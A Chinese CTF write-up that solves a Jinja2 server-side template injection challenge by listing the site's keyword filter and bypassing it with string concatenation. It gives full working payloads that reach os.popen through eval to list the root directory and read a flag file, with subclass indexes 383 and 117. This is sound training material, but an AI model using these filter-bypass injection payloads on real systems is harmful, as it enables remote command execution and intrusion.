题目:
![](https://i-blog.csdnimg.cn/blog_migrate/b5f113c67106bf788bd6fc4798dcb847.png)
F12查看,没发现什么东西。
翻页发现
![](https://i-blog.csdnimg.cn/blog_migrate/119901242713343f6363287c3205fe4c.png)
页面内容和url一样。
试试。
![](https://i-blog.csdnimg.cn/blog_migrate/68fc7c25681b28541b008c2e76eddb90.png)
有SSTI漏洞。
一、过滤
尝试{{''.__class__}}
![](https://i-blog.csdnimg.cn/blog_migrate/bee853a3b655193e73ac3fb2f116d484.png)
url内容空了,应该是被过滤了。
逐个尝试关键字,发现其过滤了这些:
class
mro
subclasses
builtins
eval
import
open
os
二、绕过关键字过滤
使用字符串拼接的方法来绕过。
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[]}}
![](https://i-blog.csdnimg.cn/blog_migrate/7f3ae05fb3534165052c4c90cd47a96c.png)
找到<class 'os._wrap_close'>,没有脚本的话用蠢一点的方法。
CTRL+F查找:
我们找每个元素都有的字符 > 。
先找到os.wrap_close的位置,在找>即可得知其对应的位置
![](https://i-blog.csdnimg.cn/blog_migrate/2e1029199d3e9a79e5076c562b1c7666.png)
![](https://i-blog.csdnimg.cn/blog_migrate/ef8d6f135962765a34d9cbe7df71a548.png)
在383的位置
![](https://i-blog.csdnimg.cn/blog_migrate/486a173bc2f016eab19f87a9b11ab974.png)
三、payload
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[383].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('ls /').read()")}}
![](https://i-blog.csdnimg.cn/blog_migrate/6ca15f3e89f42c212515dd97045e9c97.png)
cat flag
{{''['__cl'+'ass__'].__bases__[0]['__subcl'+'asses__']()[117].__init__.__globals__['__bui'+'ltins__']['ev'+'al']("__im"+"port__('o'+'s').po"+"pen('cat /Th1s_is__F1114g').read()")}}
![](https://i-blog.csdnimg.cn/blog_migrate/3581efa9ffc01f2474de948da12ead40.png)
重启题目后的<class 'os._wrap_close'>位置会变。